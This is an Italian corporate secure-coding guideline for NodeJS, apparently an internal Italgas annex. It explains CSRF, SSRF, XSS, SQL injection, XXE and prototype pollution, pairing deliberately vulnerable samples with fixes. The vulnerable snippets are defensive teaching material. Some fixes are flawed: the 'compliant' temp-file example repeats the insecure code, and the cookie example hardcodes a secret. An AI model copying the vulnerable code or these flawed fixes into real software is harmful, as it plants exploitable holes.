BLU-MAN-006-R01
Allegato 03-R00
Aggiornamento del 08/09/2026

NodeJS

Italgas S.p.A - Informazioni Interne

INDICE

1 INTRODUZIONE AL DOCUMENTO 3
1.1 Contesto 3
1.2 Scopo 3
1.3 Struttura del Documento 3
2 ACCESS CONTROL & PRIVILEGE MANAGEMENT 5
2.1 Cross-Site Request Forgery 5
2.2 Server-Side Request Forgery 6
2.3 Violazioni di accesso alla memoria 8
2.4 Utilizzo di cartelle pubbliche 9
3 VALIDAZIONE E SANITIZZAZIONE DEGLI INPUT 11
3.1 Validazione 11
3.2 Sanitizzazione 12
4 INJECTION 12
4.1 Cross-Site Scripting 12
4.2 SQL Injection 14
4.3 XML Injection 16
4.4 DNS Rebinding 16
4.5 Server-Side Prototype pollution 17
5 MISCONFIGURATIONS 17
5.1 Esecuzione tramite utente non privilegiato 17
5.2 Configurazione dei cookie 17
6 CRITTOGRAFIA 19
6.1 Modalità e padding nella cifratura 19
6.2 Implementazione robusta di uno scambio dati 20
7 LOGGING & MONITORING 23
7.1 Logging in NodeJS 23
7.2 Informazioni sensibili nei log 23
7.3 Mancata validazione o sanitizzazione dei log 24
8 INFORMAZIONI CONFIDENZIALI 24
8.1 Credenziali Hardcoded e gestione dei secret in NodeJS 24
9 DENIAL OF SERVICE 25
9.1 Distributed Denial of Service - DDoS 25
9.2 Regular Expression Denial of Service – ReDos 26
9.3 Callback Hell 28
10 Link utili 28

1 INTRODUZIONE AL DOCUMENTO

1.1 Contesto

Questo documento è uno degli allegati al Manuale Operativo Sviluppo Sicuro e si colloca all'interno di un articolato sistema di linee guida volte a garantire la sicurezza nello sviluppo dei prodotti commissionati da Italgas. L'obiettivo è assicurare che tali prodotti siano solidi e resistenti alle minacce informatiche. È stato redatto un documento generale che affronta l'argomento in maniera trasversale senza entrare nei dettagli specifici di ciascuna tecnologia. Il presente documento, invece, approfondisce le stesse tematiche trattate nel documento generale, focalizzandosi e contestualizzandole sulla tecnologia NodeJS.

1.2 Scopo

Questo documento ha lo scopo di illustrare gli aspetti di sicurezza informatica da tenere in considerazione quando si sviluppa del codice applicativo. La sicurezza del software è un requisito fondamentale per garantire la protezione delle informazioni, la privacy degli utenti e il corretto funzionamento dell'applicazione finale.
In questo documento, le tematiche affrontate si concentrano sulle possibili problematiche di sicurezza che affliggono le odierne applicazioni. Nello specifico, si fa riferimento alla tecnologia NodeJs. Per ogni aspetto di sicurezza viene fornita una descrizione, degli esempi, le corrispettive contromisure e gli accorgimenti da adottare al fine di scongiurare la presenza di vulnerabilità o bug all'interno dell'applicazione finale. Per ogni tematica trattata, l'obiettivo è quello di fornire agli sviluppatori e agli architetti una lista di problematiche di sicurezza che possono emergere come conseguenza di una programmazione non orientata agli aspetti di sicurezza.

1.3 Struttura del Documento

Nel presente documento verranno trattate diverse tematiche riguardanti il linguaggio NodeJs, partendo da un *livello di astrazione* più alto andando man mano scendendo verso aspetti più pratici e tecnici. Gli argomenti discussi riguardano prettamente il linguaggio e le sue peculiarità. Pertanto, si rimanda al documento di linee guida generali per lo sviluppo sicuro che sviscera i problemi in maniera più astratta senza scendere nel dettaglio del linguaggio.

Viene successivamente proposto un capitolo relativo all'**Access Control**, presentando diversi scenari che pongono l'attenzione sull'importanza di attuare adeguati meccanismi di *controllo degli accessi* e sulle problematiche di sicurezza che può comportare una mancata o scorretta implementazione di questi.

Il concetto di Access Control viene quindi esteso da quello di **Privilege Management**. La *gestione dei privilegi* è un aspetto fortemente correlato a quello del *controllo degli accessi*: implementare una solida gestione dei privilegi significa ridurre il rischio di abusi e attacchi informatici, garantendo che solo gli utenti autorizzati possano eseguire operazioni sensibili.

Ulteriori aspetti fondamentali da tenere in considerazione nello sviluppo di software sicuro sono quelli trattati nel capitolo **Validazione e Sanitizzazione degli input**. In questo capitolo viene spiegata la necessità di attuare sempre adeguate misure di *validazione* e *sanitizzazione* sugli input provenienti da utenti e sistemi esterni, i quali sono da considerarsi non fidati.

Vengono poi logicamente trattate anche le problematiche, tramite esempi e scenari, che derivano da una mancata o scorretta validazione e sanitizzazione dei dati nel capitolo **Injection**. Queste non assumono una singola forma, bensì possono avere modalità e conseguenze molto differenti tra loro in base agli asset afflitti, all'ambiente esposto e ai privilegi con cui sono eseguite.

Allo stesso modo, evitare **Configurazioni Insicure** è fondamentale per proteggere le infrastrutture e i dati da attacchi che possono compromettere la riservatezza, l'integrità e la disponibilità delle informazioni: nell'analogo capitolo vengono presentati diversi esempi di configurazioni insicure comuni nell'ambito dello sviluppo software e quali best practices seguire per poterle evitare.

La crittografia è alla base di molte delle operazioni che un software si trova ad eseguire durante il suo ciclo di vita, permettendo di implementare comunicazioni sicure e proteggere i dati da accessi non autorizzati.
La **Gestione della Crittografia** costituisce un aspetto fondamentale da tenere in considerazione quando si valuta il livello di sicurezza di un software: l'utilizzo di tecniche crittografiche deprecate e non più sicure o una gestione impropria delle chiavi crittografiche possono vanificare le più robuste misure di sicurezza di un sistema.

Nel capitolo **Logging e Monitoraggio** viene spiegata l'importanza di attuare adeguati meccanismi di logging e l'utilizzo di specifiche librerie di Logging per NodeJs al fine di garantire un monitoraggio continuo che va attuato durante tutto il ciclo di vita di un software, permettendo di individuare tempestivamente problematiche di sicurezza, oltre che funzionali, e di risolverle tempestivamente.

Le **Informazioni Confidenziali**, il cui valore deve essere conosciuto solo e solamente dalle persone o programmi autorizzati, devono essere protette durante tutta la fase di vita del software. Questo include i dati in uso e a riposo, oltre che quando in transito. È per questo motivo che non è sufficiente scrivere il segreto direttamente nei file sorgente o utilizzare algoritmi di cifratura robustissimi solo in alcuni passaggi, in quanto è necessario che le informazioni confidenziali restino tali sempre; infatti nel paragrafo vi è la sezione specifica riguardante la gestione dei secret in NodeJs.

La triade CIA copre i tre pilastri principali su cui si basa la sicurezza informatica. Di questi, l'ultimo in particolar modo riguarda la disponibilità (Availability) del sistema. In NodeJS, sono varie le casistiche che portano l'applicativo o l'intera infrastruttura in uno stato di **Denial of Service** e vanno tutte prese in considerazione durante lo sviluppo del codice: si tratta dei DoS distribuiti e delle espressioni regolari con complessità non lineare.

Infine, per quanto concerne l'**Utilizzo di Codice di Terze Parti,** si rimanda al documento di linee guida generali per lo sviluppo sicuro, essendo le best practice in materia valide trasversalmente a tutte le tecnologie.

2 ACCESS CONTROL & PRIVILEGE MANAGEMENT

Il controllo degli accessi e la gestione dei privilegi assicurano la confidenzialità dei dati, e che le operazioni su questi siano definite da una rigorosa policy. Se quest'ultima è troppo lasca, o se il sistema presenta debolezze che ne minano la robustezza, c'è il serio rischio di incorrere in vulnerabilità quali information disclosure a individui non autorizzati o privilege escalation.

2.1 Cross-Site Request Forgery

Un attacco Cross-Site Request Forgery (CSRF) si basa sul semplice principio per cui un browser sul quale un utente si è loggato, per ogni richiesta che manda, aggiunge in automatico i cookie salvati localmente che permettono all'applicazione web di riconoscere una richiesta legittima da una non autorizzata.

Un attaccante può sfruttare questa funzionalità a proprio vantaggio, inducendo un utente genuino che si presume già loggato all'interno dell'applicativo a mandare richieste malevole che vanno ad alterare lo stato del server (come trasferimenti di denaro o aggiornamenti dell'email collegata all'account) senza il consenso e la conoscenza della vittima. Questo proprio perchè il browser che manderà la richiesta ha salvato in memoria i cookie di sessione, che automaticamente attaccherà ad ogni richiesta.

I seguenti principi devono essere seguiti per proteggersi dagli attacchi CSRF:

- Se disponibili, usare le protezioni messe a disposizione dal framework in uso
- In caso il framework non disponga di queste protezioni, è necessario aggiungere i token anti CSRF a tutte le richieste e operazioni che vanno ad alterare lo stato del server e validarli lato backend
- Il software STATEFUL deve implementare i "synchronizer token pattern"
- Il software STATELESS deve implementare "double submit cookie"
- In caso il sito sia API-driven, che non può quindi affidarsi ai tag <form>, è necessario usare header di richiesta customizzati
- L'attributo SameSite dei Cookie può essere utilizzato per i cookie di sessione, TUTTAVIA la validità di questi non va impostata per l'intero dominio. Questo comportamente altrimenti introdurrebbe vulnerabilità legate al fatto che tutti i sottodomini condividerebbero lo stesso cookie, comportamento che è altamente pericoloso soprattutto in caso questi sottodomini dispongano di CNAME non direttamente controllati.
- Si considera sicuro implementare protezione basata sull'interazione con l'utente per le operazioni più sensibili
- Si consideri la verifica dell'origine mediante header HTTP standard
- Non utilizzare le richieste GET per le operazioni che vanno ad alterare lo stato del server

IMPORTANTE: Si ricorda che le vulnerabilità XSS possono scavalcare tutte le mitigazioni previste per CSRF

Esempio: Presupponendo che la risorsa "/posts/create" performi azioni "state-changing" sul server, il metodo HTTP che deve essere implementato è POST.

```
router.get('/posts/create', sessionController.validateSession, postsController.postsCreate); // Non compliant
router.post('/posts/create', sessionController.validateSession, postsController.postsCreate); // Compliant
```

È importante far presente che la libreria csurf, molto utilizzata in NodeJS per prevenire gli attacchi CSRF, è stata deprecata dagli sviluppatori in quanto presenta diverse falle di sicurezza, pertanto se ne sconsiglia l'utilizzo.
Per far fronte a questa mancanza, sono state sviluppate e rese disponibili alcune soluzioni tra cui csrf-sync, che sfrutta un pattern "Synchronizer Token", e csrf-csrf, che implementa invece i "Double Submit Cookies".

Entrambe le guide esaustive ufficiali, che coprono le rispettive implementazioni, sono linkate in coda al capitolo.

2.2 Server-Side Request Forgery

La vulnerabilità Server-Side Request Forgery (SSRF), traducibile come "Falsificazione di richieste lato server", permette ad un attaccante di ottenere un vantaggio sfruttando la capacità del sistema di generare richieste non autorizzate per conto dell'applicazione. Queste possono essere destinate potenzialmente a qualunque sistema interno o esterno raggiungibile dall'applicativo, risultando indistinguibili dalle richieste legittime.

Potendo creare richieste direttamente dalla macchina server, considerata solitamente fidata da molti sistemi con cui collabora, è possibile per l'attaccante eludere molte misure di sicurezza altrimenti invalicabili.

Lo scopo con cui questi attacchi vengono lanciati è la possibilità di scoprire l'infrastruttura e le risorse che cooperano con il server, sfruttare la macchina vulnerabile come computer zombie per una botnet o minare la confidenzialità dei dati.

Esistono diverse tipologie di SSRF:

- **Classica**: La richiesta avviene direttamente dal server vulnerabile al target e la risposta viene ritornata all'attaccante.
- **Blind**: La richiesta avviene direttamente dal server vulnerabile al target ma la risposta non viene ritornata all'attaccante. Questi è comunque in grado di determinare l'esito dell'attacco in base al comportamento dell'applicazione o sfruttando tecniche **out-of-band**, ad esempio forzando la risoluzion di un nome DNS gestito da un server sotto il suo controllo.

Segue un esempio di codice NodeJs che permette ad un attaccante di generare richieste HTTP verso sistemi arbitrari:

```
const http = require('http');
const url = require('url');

http.createServer((req, res) => {
  const queryObject = url.parse(req.url,true).query;
  if (queryObject.url) {
    http.get(queryObject.url, (response) => {
      let data = '';
      response.on('data', (chunk) => {
        data += chunk;
      });
      response.on('end', () => {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(data);
      });
    }).on('error', (e) => {
      res.writeHead(500);
      res.end(`Error: ${e.message}`);
    });
  } else {
    res.writeHead(400);
    res.end('URL parameter is missing');
  }
}).listen(8080);
```

Nel precedente esempio, il server NodeJs accetta richieste GET con un query param *url*; il valore di questo parametro viene utilizzato per effettuare una richiesta HTTP a una risorsa esterna e restituisce il contenuto come risposta.
Tuttavia, non ci sono controlli sull'input dell'URL, il che significa che un attaccante potrebbe fornire un URL che porta a una risorsa interna o sensibile, sfruttando così la vulnerabilità SSRF.

Per poter prevenire questa tipologia di attacchi è bene evitare di utilizzare input provenienti da un utenti; se questo è strettamente necessario, allora è necessario eseguire validazione e sanitizzazione:

- Stilare una whitelist di target ammessi per la richiesta HTTP
- Stilare una whitelist di protocolli ammessi
- Eseguire quando possibile un lookup DNS dei domini in whitelist e bloccare la richiesta se il dominio è risolto con indirizzi locali o indirizzi di loopback (127.0.0.1)

Segue un esempio di codice che effettua una validazione del dominio, verificando che quello richiesto sia presente in una whitelist:

```
const http = require('http');
const url = require('url');

// Lista dei domini consentiti
const whitelist = ['esempio.com', 'altroesempio.it'];

http.createServer((req, res) => {
  const queryObject = url.parse(req.url,true).query;
  if (queryObject.url) {
    const requestedUrl = new URL(queryObject.url);
    // Verifica se il dominio è nella whitelist
    if (whitelist.includes(requestedUrl.hostname)) {
      http.get(queryObject.url, (response) => {
        let data = '';
        response.on('data', (chunk) => {
          data += chunk;
        });
        response.on('end', () => {
          res.writeHead(200, {'Content-Type': 'text/html'});
          res.end(data);
        });
      }).on('error', (e) => {
        res.writeHead(500);
        res.end(`Error: ${e.message}`);
      });
    } else {
      res.writeHead(403);
      res.end('Access denied: domain is not on the whitelist');
    }
  } else {
    res.writeHead(400);
    res.end('URL parameter is missing');
  }
}).listen(8080);
```

2.3 Violazioni di accesso alla memoria

Gli attacchi alla memoria, in particolar modo alla memoria heap, affliggono soprattutto gli ambienti di esecuzione su macchine condivise a causa di problemi noti come pointer overrun e pointer underrun. Il problema non esiste in primo luogo se la macchina utilizzata è dedicata.

La contromisura più adatta, oltre ad impiegare una macchina dedicata, è l'utilizzo della flag –secure-heap=n, con n corrispondente alla massima memoria allocata in byte. SI rimanda alla documentazione ufficiale per maggiori informazioni.

2.4 Utilizzo di cartelle pubbliche

I sistemi operativi mettono a disposizioni directory globali su cui qualsiasi utente ha permessi di scrittura. Generalmente, lo scopo di queste cartelle è quello di memorizzare file temporanei.
L'utilizzo di nomi predicibili per questi file apre a possibili scenari di attacco in cui un utente malintenzionato, nella finestra temporale in cui il file temporaneo è presente in queste directory, può accedervi, modificarlo, corromperlo o cancellarlo.

Segue una lista delle directory pubbliche tipiche di sistemi operativi Linux e Windows:

- /tmp
- /var/tmp
- /usr/tmp
- /dev/shm
- /dev/mqueue
- /run/lock
- /var/run/lock
- /Library/Caches
- /Users/Shared
- /private/tmp
- /private/var/tmp
- \Windows\Temp
- \Temp
- \TMP

Segue un esempio di codice NodeJs vulnerabile a questo problema di sicurezza:

```
const fs = require('fs');

let tmp_dir = process.env.TMPDIR; // Sensitive
fs.readFile(tmp_dir + "/temporary_file", 'utf8', function (err, data) {
  // ...
});
```

La soluzione a questo problema è quello di utilizzare una cartella dedicata con permessi stringenti e sufficienti per lo scopo. Inoltre, è fondamentale utilizzare API sicure by-desing per la creazione di file temporanei, assicurandosi che il nome del file sia impredicibile, il file sia leggibile e modificabile solo dall'utente che l'ha creato e che sia distrutto non appena il suo handle/file descriptor viene chiuso.

NodeJs mette a disposizione la libreria *tmp* per la creazione sicura di file temporanei:

```
const tmp = require('tmp');

const tmpobj = tmp.fileSync(); // Compliant
const fs = require('fs');


let tmp_dir = process.env.TMPDIR; // Sensitive
fs.readFile(tmp_dir + "/temporary_file", 'utf8', function (err, data) {
  // ...
});
```


Italgas S.p.A - Informazioni Interne

3 VALIDAZIONE E SANITIZZAZIONE DEGLI INPUT

L'input utente è per sua natura da considerare non fidato o untrusted, in quanto l'applicativo in sviluppo deve essere concepito sempre considerardo il caso peggiore quando si tratta di sicurezza. Un utente malintenzionato potrebbe infatti sfruttare una validazione troppo lasca e una debole sanitizzazione per portare a termine un attacco di tipo Injection. Pur essendo validazione e sanitizzazione entrambi aspetti riguardanti la gestione dell'input utente, utilizzate per prevenire contenuto inaspettato e con alta probabilità malevolo, presentano delle sostanziali differenze.

3.1 Validazione

La validazione infatti riguarda la verifica che i dati inseriti dall'utente rispettino determinate regole o criteri. Ad esempio, quando un utente compila un modulo, è importante assicurarsi che l'indirizzo email fornito sia valido, di cui è riportato un esempio di implementazione.

Vengono messi a disposizione alcuni moduli, come validator e express-mongo-sanitize, per ovviare al problema, le cui guide proposte in coda al capitolo coprono esaustivamente gli scenari d'uso per cui è utile e doveroso implementarle.

Viene proposto un esempio insicuro di mancata validazione.

```
const express = require('express');
const app = express();
app.use(express.json());

app.post('/register', (req, res) => {
  const { username, password } = req.body;

  // Mancata validazione della password
  if (!username) {
    return res.status(400).send('Il nome utente è richiesto.');
  }

  // La password non viene verificata se vuota

  // Registrazione dell'utente nel database (esempio ipotetico)
  // ...

  res.status(200).send('Registrazione completata con successo.');
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => console.log(`Server in ascolto sulla porta ${PORT}`));
```

Il precedente esempio prende in input un nome utente e una password dal corpo della richiesta, ma non controlla se la password è presente. In un'applicazione reale, questo sarebbe un grave problema di sicurezza perché permetterebbe la creazione di account con password vuote, rendendo il sistema vulnerabile.

3.2 Sanitizzazione

La sanitizzazione, invece, riguarda la pulizia e la rimozione dei caratteri o sequenze potenzialmente pericolose dai dati inseriti dall'utente, in base al contesto in cui questi vengono poi utilizzati. Ad esempio, è importante sanitizzare un input utente in arrivo da un form per evitare che il contenuto di un suo campo contenga del codice inaspettato che verrà interpretato dall'applicativo, al fine di esfiltrare dati o diffondere codice malevolo agli utilizzatori del servizio.

La linea guida da seguire è quella di utilizzare librerie e funzioni dedicate per effettuare *Input Sanitization* in pagine HTML, come ad esempio quelle messe a disposizione dalla libreria *DOMPurify*, preservando il contenuto:

```
const express = require('express');
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

const app = express();

app.use(express.urlencoded({ extended: true }));

app.post('/sanitize', (req, res) => {
  const { window } = new JSDOM('');
  const purify = DOMPurify(window);

  const dirtyHTML = req.body.dirtyHTML;
  const cleanHTML = purify.sanitize(dirtyHTML);

  res.send(`HTML pulito: ${cleanHTML}`);
});

const PORT = 3000;
app.listen(PORT, () => {
  console.log(`Server in ascolto sulla porta ${PORT}`);
});
```

4 INJECTION

Gli attacchi di Injection sono una conseguenza diretta di una mancata o debole implementazione della validazione o sanitizzazione. Un attaccante infatti sfrutta questi controlli laschi per iniettare un payload malevolo (codice) che verrà eseguito o interpretato dall'applicazione in base al contesto (es. codice javascript interpretato dal browser, una query sql eseguita dal database etc.). Le Injection vanno ad alterare la logica applicativa per esfiltrare dati, arrecare danno o ottenere un indebito vantaggio. Per prevenire questa vulnerbailità bisogna, come precedentemente specificato, tenere conto del contesto in cui il payload malevolo potrebbe essere iniettato.

4.1 Cross-Site Scripting

Gli attacchi Cross-Site Scripting (XSS) sono un tipo di attacco Injection che si verificano quando un attaccante invia codice dannoso, in genere sotto forma di script lato browser, a un utente finale separato che utilizza un'applicazione online. Questi attacchi possono essere condotti con successo ovunque un'applicazione Web

incorpori input dell'utente senza effettuare verifiche, quali sanitizzazione, validazioni o livelli di indirezione, e codifiche opportune. Un attaccante può quindi inviare uno script dannoso a un utente sfruttando le vulnerabilità XSS. Il browser dell'utente finale eseguirà lo script dannoso, che potrebbe essere in grado di accedere a cookie mal configurati, token di sessione o altri dati sensibili memorizzati dal browser, poiché si presume che questo provenga da una fonte affidabile.

Esistono 3 tipologie differenti di Cross-Site Scripting:

- **XSS Riflesso:** Quando un'applicazione Web restituisce immediatamente l'input dell'utente in un messaggio di errore, in un risultato di ricerca o in un'altra risposta che contiene alcuni o tutti gli input forniti dall'utente come parte della richiesta, senza rendere tali dati sicuri per il rendering nel browser e senza memorizzare in modo permanente i dati forniti dall'utente, si parla di XSS riflesso. In alcune circostanze, i dati inviati dall'utente potrebbero anche non uscire mai dal browser.
- **XSS Persistente:** Quando l'input dell'utente viene salvato sul server di destinazione, ad esempio in un database, in una bacheca, in un registro dei visitatori, in un campo di commenti e così via, in genere si verifica un XSS persistente. La vittima può quindi accedere ai dati memorizzati dell'applicazione Web senza che il browser debba renderli sicuri. Si immagini che il payload dell'attacco venga conservato in modo permanente lato server e recuperato ogni qualvolta una pagina dell'applicativo viene richiesta da un utente. L'attaccante disporrebbe di un vettore d'attacco che copre potenzialmente tutte le utenze, semplicemente quando queste si connettono all'applicazione.
- **DOM-XSS:** L'intero flusso di dati malevoli dalla source (dove vengono letti i dati dannosi) alla sink (dove vengono eseguiti i dati dannosi) avviene nel browser durante l'XSS basato sul DOM. A titolo esemplificativo, l'URL della pagina (ad esempio, document.location.href) o un elemento HTML può fungere da sorgente e document.write può fungere da sink.

È riportato un esempio di codice NodeJS vulnerabile.

```
const express = require('express');
const app = express();

app.get('/', function(req, res) {
  // Parametro vulnerabile a XSS perché non viene sanificato
  var userData = req.query.userInput;

  // Inserimento del parametro non sanificato direttamente nel DOM
  res.send(`<h1>Ciao ${userData}!</h1>`);
});

app.listen(3000, function() {
  console.log('Applicazione in ascolto sulla porta 3000!');
});
```

La libreria DOMPurify permette di gestire l'input utente, eliminandone il contenuto malevolo che porterebbe ad attacchi di cross-site scripting. È oltretutto possibile definire liste di attributi permessi e non, così da avere assoluta libertà di customizzazione in base alle necessità. Si rimanda alla guida ufficiale per maggiori dettagli.

```
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';

const window = new JSDOM('').window;
const purify = DOMPurify(window);
const clean = purify.sanitize('<b>hello there</b>');
```

Un'altra libreria interessante è strip-js, che rimuove tutto il contenuto JavaScript da un testo HTML in input.

Per prevenire la vulnerabilità in NodeJS è necessario implementare una combinazione delle seguenti contromisure:

- **Effettuare encoding dei dati in output:** Poiché le vulnerabilità XSS si verificano quando un'applicazione include dati malevoli nel suo output, un approccio logico è quello di convalidare i dati immediatamente prima che lascino l'applicazione. Tuttavia, poiché le applicazioni Web hanno spesso un codice complesso e intricato per la generazione di contenuti dinamici, questo metodo è soggetto a errori di omissione (convalida mancante). A seconda del contesto di output, potrebbe essere necessario applicare combinazioni di codifica HTML, URL, JavaScript e CSS. Si consiglia di sostituire tutti i metodi InnerHTML(), OuterHTML() o html() con i metodi InnerText(), OuterText() o text(). Questi metodi si limitano a scrivere i dati come testo normale al browser, senza eseguire il rendering di HTML o script. Se i metodi InnerHTML(), OuterHTML() o html() sono necessari, si raccomanda un'ulteriore validazione whitelist dell'input.
- **Filtrare i dati in input:** Nel punto in cui viene ricevuto l'input dell'utente, è necessario filtrare il più rigorosamente possibile in base a ciò che è atteso o valido. Le applicazioni Web devono convalidare tutti gli input per prevenire altre vulnerabilità, come SQL Injection, quindi aumentare il meccanismo di convalida degli input esistente di un'applicazione per includere controlli per XSS è generalmente relativamente facile. Nonostante il suo valore, la validazione dell'input per gli XSS non sostituisce una rigorosa validazione dell'output. Un'applicazione potrebbe accettare input attraverso un archivio dati condiviso o un'altra fonte affidabile, e tale archivio dati potrebbe accettare input da una fonte che non esegue un'adeguata convalida degli input. Pertanto, l'applicazione non può fare implicitamente affidamento sulla sicurezza di questo o di altri dati. Ciò significa che il modo migliore per prevenire le vulnerabilità XSS è quello di convalidare tutto ciò che entra nell'applicazione e ne esce destinato all'utente.
- **Utilizzare gli appropriati headers di risposta:** Per prevenire gli XSS nelle risposte HTTP che non sono destinate a contenere HTML o JavaScript, è possibile utilizzare le intestazioni Content-Type e X-Content-Type-Options per garantire che i browser interpretino le risposte nel modo previsto.
- **Content Security Policy:** Come ultima linea di difesa, è possibile utilizzare i criteri di sicurezza dei contenuti (CSP) per ridurre la gravità delle vulnerabilità XSS che ancora si verificano.

4.2 SQL Injection

L'SQL Injection è una vulnerabilità di sicurezza delle applicazioni web che permette a un attaccante di interferire con le query che un'applicazione fa al suo database. Questo tipo di attacco consente di visualizzare dati che normalmente non sarebbero accessibili, come informazioni di altri utenti, e in alcuni casi, di modificare o eliminare questi dati. L'SQL Injection può anche essere utilizzata per compromettere il server sottostante o altre infrastrutture di back-end. Prevenire questo tipo di attacco è cruciale per la sicurezza delle applicazioni web e richiede l'implementazione di controlli rigorosi sui dati inseriti dagli utenti.

NodeJs dispone del meccanismo dei prepared statement come contromisura efficace al problema delle SQL injection.

Segue un esempio di codice vulnerabile:

```
const sql = require('mssql');

async function inserisciDati(pool, dati) {
  try {
    const query = `INSERT INTO mytable (device, data, stationId, rssi, unix_timestamp) VALUES ('${dati.device}', '${dati.data}', '${dati.station}', ${dati.rssi}, ${dati.time})`;
    await pool.request().query(query);
  } catch (err) {
    console.error('Errore durante l\'inserimento dei dati:', err);
  }
}
```

Nel codice precedente, l'utilizzo dell'interpolazione per costruire la query, utilizzando input provenienti da un utente senza alcuna sanitizzazione o validazione, è vulnerabile ad un attacco di SQL Injection.

Segue un esempio di codice sicuro che utilizza i prepared statement per costruire la query:

```
const sql = require('mssql');
…
async function inserisciDati(pool, dati) {
  const ps = new sql.PreparedStatement(pool);
  ps.input('device', sql.VarChar(10));
  ps.input('data', sql.VarChar(24));
  ps.input('station', sql.NChar(10));
  ps.input('rssi', sql.Float);
  ps.input('time', sql.Int);

  await ps.prepare('INSERT INTO mytable (device, data, stationId, rssi, unix_timestamp) VALUES (@device, @data, @station, @rssi, @time)');

  try {
    await ps.execute({
      device: dati.device,
      data: dati.data,
      station: dati.station,
      rssi: dati.rssi,
      time: dati.time
    });
  } finally {
    await ps.unprepare();
  }
}
```

4.3 XML Injection

Una XML Injection avviene quando un input proveniente da un utente viene utilizzato nella costruzione di una stringa XML senza alcuna validazione o sanitizzazione. In questo scenario, un utente malintenzionato potrebbe iniettare tag XML arbitrari, aggiungere attributi a tag esistenti e/o cambiare valori all'interno dei tag.
Questo può portare all'esfiltrazione di dati ed informazioni sensibili, alla generazione di richieste server-side basate su protocolli XML (es: SOAP) e, nei casi peggiori, all'esecuzione di codice remoto.

Quando si utlizza il parser XML su input proveniente da un utente senza alcuna validazione o sanitizzazione, se il parser non è ben configurato, un attaccante potrebbe eseguire un attacco di XML External Entities (XXE). Questo attacco sfrutta il parsing di entità XML esterne per esfiltrare file di sistema o eseguire codice remoto.

Il seguente codice NodeJs che effettua il parse di un XML è insicuro:

```
var libxmljs = require('libxmljs');
var fs = require('fs');

var xml = fs.readFileSync('xxe.xml', 'utf8');
libxmljs.parseXmlString(xml, {
    noblanks: true,
    noent: true, // Noncompliant
    nocdata: true
});
```

La soluzione al precedente problema è quella di utilizzare le impostazioni di default per la funzione *parseXmlString* della libreria *libxmljs*; tale funziona è **sicura di default**:

```
var libxmljs = require('libxmljs');
var fs = require('fs');

var xml = fs.readFileSync('xxe.xml', 'utf8');
libxmljs.parseXmlString(xml);
```

4.4 DNS Rebinding

Le versioni di NodeJS v14.x, v16.x, v18.x e v19.x sono vulnerabili alla problematica nota come DNS Rebinding (traducibile come "Riaggancio del DNS").
Nota: Questa è exploitabile solamente sulle istanze di NodeJS eseguite con la flag –inspect switch.

La vulnerabilità comporta il bypass della Same Origin Policy, facendo sembrare le richieste inviate come in arrivo da un IP locale. Questo comporta la possibilità di portare a termine con maggiore facilità un attacco XSS.

Per maggiori informazioni, e per consultare le best practice in ottica di risoluzione della problematica si rimanda alla documentazione ufficiale, il cui link è disponibile in coda al capitolo.

4.5 Server-Side Prototype pollution

Un oggetto Javascript è essenzialmente una collezione di coppie nome:valore definite come proprietà o metodi. Tutti gli oggetti ereditano alcune loro caratteristiche da altri oggetti, per i più semplici e general-purpose solitamente predefiniti dal linguaggio stesso.

La vulnerabilità Server-Side Prototype Pollution permette ad un attaccante di definire nuove proprietà ad oggetti prototype globali presenti lato server, le quali vengono poi logicamente ereditate dagli oggetti in uso nell'applicativo NodeJS. Potenzialmente può affliggere server, APIs e altre applicazioni back-end. Questo comportamento è direttamente ereditato da JavaScript.

Di per sé la vulnerabilità non è direttamente sfruttabile, ed è anche difficile testarne la presenza (alterare lo stato del server può causare comportamenti inaspettati e spesso distruttivi, con conseguente Denial of Service), ma permette ad un utente malevolo di controllare l'ambiente d'esecuzione preparandolo per un futuro attacco. In questo caso, essendo NodeJS un linguaggio server-side, la vulnerabilità può scaturire in un attacco di Remote Code Execution (RCE).

Uno scenario vulnerabile presuppone una fase nel ciclo di vita dell'algoritmo in cui un oggetto, contenente campi controllabili direttamente dall'utente, viene ricorsivamente unito ad un oggetto esistente senza alcun controllo sulle chiavi. Questa condizione permette l'injection di un campo __proto__ con proprietà innestate.

A causa del significato speciale dato da JavaScript a __proto__ , l'operazione di assegnamento delle proprietà innestate avverrà sull'oggetto prototype invece che sull'oggetto per cui era pensato.

Le applicazioni Node possono cancellare o disabilitare del tutto __proto__ usando i flag della riga di comando --disable-proto=delete o --disable-proto=throw rispettivamente. Tuttavia, questo può essere aggirato utilizzando la tecnica del costruttore, tramite constructor.prototype, pur riducendo la superficie d'attacco.

Esistono comunque alternative a questa contromisura che sono esposte nella documentazione ufficiale, il cui link è proposto in coda al capitolo.

5 MISCONFIGURATIONS

Le misconfigurations, traducibile con 'configurazioni errate', sono problematiche di sicurezza dovute ad una erronea o deprecata interpretazione delle funzionalità di un software in fase di sviluppo del codice.

5.1 Esecuzione tramite utente non privilegiato

L'esecuzione lato server del programma basato su tecnologie NodeJS deve tenere conto della regola generale nota come principio del least privilege, secondo la quale ogni processo dovrebbe disporre solo ed esclusivamente dei privilegi che gli servono per svolgere correttamente il proprio compito, senza concederne troppi (rischio di privilege escalation e aumento inutile della superficie d'attacco) o troppo pochi (rischio di bug, eccezioni runtime e colli di bottiglia). Quindi, il processo deve disporre di una propria utenza specificatamente configurata tenendo conto delle risorse e dei privilegi su di queste.

Solitamente un utenza privilegiata non è richiesta, pertanto è altamente sconsigliata.

5.2 Configurazione dei cookie

I cookie solitamente permettono al server di identificare e riconoscere quale utenza ha inviato una specifica richiesta http, il cui protocollo ricordiamo essere stateless ovvero senza memoria di stato, creando una sorta di autenticazione persistente tra il susseguirsi di messaggi in arrivo dal client.
Viene automatico quindi porre un focus sulle modalità che NodeJS mette a disposizione per salvaguardarne la sicurezza.

Esistono due attributi che, combinati, garantiscono un'adeguato livello di protezione:

- **Secure**: per il quale l'invio dei cookie può avvenire solo in presenza di una connessione cifrata, che utilizza quindi HTTPS ed evita furti di dati in transito;

- **HttpOnly:** grazie al quale il cookie archiviato nella memoria del browser non può essere recuperato dal codice javascript, lecito o malevolo che sia. Questo per prevenire che i comuni attacchi XSS esfiltrino i cookie e li inviino ad utenti malevoli.

Nell'esempio seguente vengono correttamente settati entrambi i valori a true, in modo da prevenire gli attacchi mostrati precedentemente.

```
const session = require('express-session');
app.use(session({
    secret: 'your-secret-key',
    name: 'cookieName',
    cookie: { secure: true, httpOnly: true, path: '/user', sameSite: true}
}));
```

